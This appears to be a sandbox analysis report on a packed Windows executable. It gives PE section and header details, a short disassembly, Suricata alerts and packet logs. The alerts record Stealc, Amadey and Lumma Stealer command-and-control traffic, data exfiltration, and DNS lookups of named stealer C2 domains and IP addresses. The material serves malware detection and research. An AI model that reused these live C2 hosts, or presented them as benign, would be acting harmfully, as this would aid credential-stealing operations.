add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	55cb75348b51d8fd67c27bd0180d31d0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2ad000	0x200	4d29c0ac6981d6a15bc02e3a46b934a8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
orugtaro	0x4f9000	0x1a1000	0x1a0600	5ceb581c712d0b101d1297694fa359ae	False	0.9949233995046532	data	7.9538996157409265	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zsibqgqp	0x69a000	0x1000	0x400	c42b246207e7ef5bb166c8e6ff603175	False	0.7431640625	data	5.856049437625175	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69b000	0x3000	0x2200	8162c00bfbafbd4c7c443ac6e83902ee	False	0.06456801470588236	DOS executable (COM)	0.7309604358037637	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-11T19:52:00.257364+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-11T19:52:00.464243+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-11T19:52:00.470498+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-11T19:52:00.668655+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-11T19:52:00.676042+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-11T19:52:01.599490+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-11T19:52:02.096140+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-11T19:52:20.457943+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.5	49756	TCP
2024-11-11T19:52:22.005790+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49755	185.215.113.206	80	TCP
2024-11-11T19:52:23.619025+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49755	185.215.113.206	80	TCP
2024-11-11T19:52:24.128849+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49755	185.215.113.206	80	TCP
2024-11-11T19:52:24.535136+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49755	185.215.113.206	80	TCP
2024-11-11T19:52:25.157331+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49755	185.215.113.206	80	TCP
2024-11-11T19:52:25.610693+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49755	185.215.113.206	80	TCP
2024-11-11T19:52:29.653424+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49914	185.215.113.16	80	TCP
2024-11-11T19:52:59.487072+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.5	50117	TCP
2024-11-11T19:53:05.096576+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	50118	185.215.113.43	80	TCP
2024-11-11T19:53:07.914361+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50120	185.215.113.16	80	TCP
2024-11-11T19:53:11.027925+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	50119	TCP
2024-11-11T19:53:11.258542+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	50703	1.1.1.1	53	UDP
2024-11-11T19:53:11.284490+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	53862	1.1.1.1	53	UDP
2024-11-11T19:53:11.319573+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	64973	1.1.1.1	53	UDP
2024-11-11T19:53:11.344150+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	63104	1.1.1.1	53	UDP
2024-11-11T19:53:11.379124+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.5	53901	1.1.1.1	53	UDP
2024-11-11T19:53:11.404799+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.5	60569	1.1.1.1	53	UDP
2024-11-11T19:53:11.429948+0100	2057119	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)	1	192.168.2.5	58990	1.1.1.1	53	UDP
2024-11-11T19:53:11.470648+0100	2057101	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store)	1	192.168.2.5	54821	1.1.1.1	53	UDP
2024-11-11T19:53:12.093748+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50122	23.192.247.89	443	TCP
2024-11-11T19:53:12.607798+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	50122	23.192.247.89	443	TCP
2024-11-11T19:53:12.685679+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50121	185.215.113.43	80	TCP
2024-11-11T19:53:13.120553+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50123	188.114.97.3	443	TCP
2024-11-11T19:53:13.331516+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50124	185.215.113.16	80	TCP
2024-11-11T19:53:13.489532+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50123	188.114.97.3	443	TCP
2024-11-11T19:53:13.489532+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50123	188.114.97.3	443	TCP
2024-11-11T19:53:14.017662+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50125	188.114.97.3	443	TCP
2024-11-11T19:53:14.404807+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50125	188.114.97.3	443	TCP
2024-11-11T19:53:14.404807+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50125	188.114.97.3	443	TCP
2024-11-11T19:53:15.139565+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50127	188.114.97.3	443	TCP
2024-11-11T19:53:15.545331+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	50127	188.114.97.3	443	TCP
2024-11-11T19:53:16.819595+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50129	188.114.97.3	443	TCP
2024-11-11T19:53:16.922646+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50128	185.215.113.43	80	TCP
2024-11-11T19:53:18.024577+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50132	188.114.97.3	443	TCP
2024-11-11T19:53:18.135071+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50131	185.215.113.206	80	TCP
2024-11-11T19:53:19.339515+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50134	188.114.97.3	443	TCP
2024-11-11T19:53:20.171186+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50135	185.215.113.43	80	TCP
2024-11-11T19:53:20.740056+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50137	188.114.97.3	443	TCP
2024-11-11T19:53:20.819936+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50136	185.215.113.16	80	TCP
2024-11-11T19:53:20.823998+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	50137	188.114.97.3	443	TCP
2024-11-11T19:53:24.306865+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50145	188.114.97.3	443	TCP
2024-11-11T19:53:24.536609+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	50060	1.1.1.1	53	UDP
2024-11-11T19:53:24.563158+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	49549	1.1.1.1	53	UDP
2024-11-11T19:53:24.591784+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	53147	1.1.1.1	53	UDP
2024-11-11T19:53:24.598314+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50146	185.215.113.43	80	TCP
2024-11-11T19:53:24.619292+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	51257	1.1.1.1	53	UDP
2024-11-11T19:53:24.644223+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.5	57938	1.1.1.1	53	UDP
2024-11-11T19:53:24.668365+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.5	58768	1.1.1.1	53	UDP
2024-11-11T19:53:24.680554+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50145	188.114.97.3	443	TCP
2024-11-11T19:53:24.698659+0100	2057119	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)	1	192.168.2.5	62266	1.1.1.1	53	UDP
2024-11-11T19:53:24.730874+0100	2057101	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store)	1	192.168.2.5	64091	1.1.1.1	53	UDP
2024-11-11T19:53:25.366053+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50148	23.192.247.89	443	TCP
2024-11-11T19:53:25.885802+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	50148	23.192.247.89	443	TCP
2024-11-11T19:53:26.406076+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50149	188.114.97.3	443	TCP
2024-11-11T19:53:26.782845+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50149	188.114.97.3	443	TCP
2024-11-11T19:53:26.782845+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50149	188.114.97.3	443	TCP
2024-11-11T19:53:27.342823+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50151	188.114.97.3	443	TCP
2024-11-11T19:53:27.712788+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50151	188.114.97.3	443	TCP
2024-11-11T19:53:27.712788+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50151	188.114.97.3	443	TCP
2024-11-11T19:53:28.660935+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50152	188.114.97.3	443	TCP
2024-11-11T19:53:29.430177+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50154	185.215.113.206	80	TCP
2024-11-11T19:53:36.384141+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50158	185.215.113.206	80	TCP
2024-11-11T19:53:48.765955+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	63772	1.1.1.1	53	UDP
2024-11-11T19:53:48.791678+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	62486	1.1.1.1	53	UDP
2024-11-11T19:53:48.816687+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	56825	1.1.1.1	53	UDP
2024-11-11T19:53:48.840089+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	54537	1.1.1.1	53	UDP
2024-11-11T19:53:48.864997+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.5	57046	1.1.1.1	53	UDP
2024-11-11T19:53:48.889061+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.5	63887	1.1.1.1	53	UDP
2024-11-11T19:53:48.913399+0100	2057119	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)	1	192.168.2.5	54971	1.1.1.1	53	UDP
2024-11-11T19:53:48.940434+0100	2057101	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store)	1	192.168.2.5	54122	1.1.1.1	53	UDP
2024-11-11T19:53:49.553366+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50165	23.192.247.89	443	TCP
2024-11-11T19:53:50.074341+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	50165	23.192.247.89	443	TCP
2024-11-11T19:53:50.545206+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50166	188.114.97.3	443	TCP
2024-11-11T19:53:54.230180+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50166	188.114.97.3	443	TCP
2024-11-11T19:53:54.230180+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50166	188.114.97.3	443	TCP
2024-11-11T19:53:54.751631+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50169	188.114.97.3	443	TCP
2024-11-11T19:53:57.586784+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50169	188.114.97.3	443	TCP
2024-11-11T19:53:57.586784+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50169	188.114.97.3	443	TCP
2024-11-11T19:53:57.937686+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50171	185.215.113.206	80	TCP
2024-11-11T19:53:58.428821+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50173	188.114.97.3	443	TCP
2024-11-11T19:54:09.286268+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	50173	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 11, 2024 19:51:53.407227039 CET	49675	443	192.168.2.5	23.1.237.91
Nov 11, 2024 19:51:53.547821999 CET	49673	443	192.168.2.5	23.1.237.91
Nov 11, 2024 19:51:53.563460112 CET	49674	443	192.168.2.5	23.1.237.91
Nov 11, 2024 19:51:59.196338892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:51:59.201141119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:51:59.201234102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:51:59.201405048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:51:59.206842899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:51:59.842395067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:51:59.842511892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:51:59.845916986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:51:59.853096962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:00.257210016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:00.257364035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:00.259809017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:00.266311884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:00.464142084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:00.464159012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:00.464242935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:00.465457916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:00.470498085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:00.668436050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:00.668457031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:00.668545008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:00.668560982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:00.668572903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:00.668586016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:00.668596983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:00.668610096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:00.668654919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:00.668654919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:00.669292927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:00.669615984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:00.669652939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:00.671282053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:00.676042080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:00.873318911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:00.873414040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:00.889635086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:00.889664888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:00.894695997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:00.894782066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:01.599390030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:01.599489927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:01.896485090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:01.901283979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.096004009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.096105099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.096115112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.096126080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.096138000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.096139908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.096149921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.096152067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.096155882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.096199989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.096220016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.096836090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.096858025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.096867085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.096889973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.096911907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.097173929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.097220898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.097250938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.097265959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.097275972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.097299099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.097332001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.208961964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.209019899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.209029913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.209060907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.209089994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.209141970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.209192991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.209201097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.209212065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.209223032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.209243059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.209252119 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.209271908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.209754944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.209808111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.209809065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.209824085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.209844112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.209865093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.210115910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.210127115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.210138083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.210148096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.210160971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.210160971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.210184097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.210217953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.210802078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.210853100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.210853100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.210865021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.210907936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.210937023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.210947990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.210958958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.210988045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.211005926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:02.211781979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.211826086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.211838007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:02.211839914 CET	49704	80	192.168.2.5	185.215.113.206
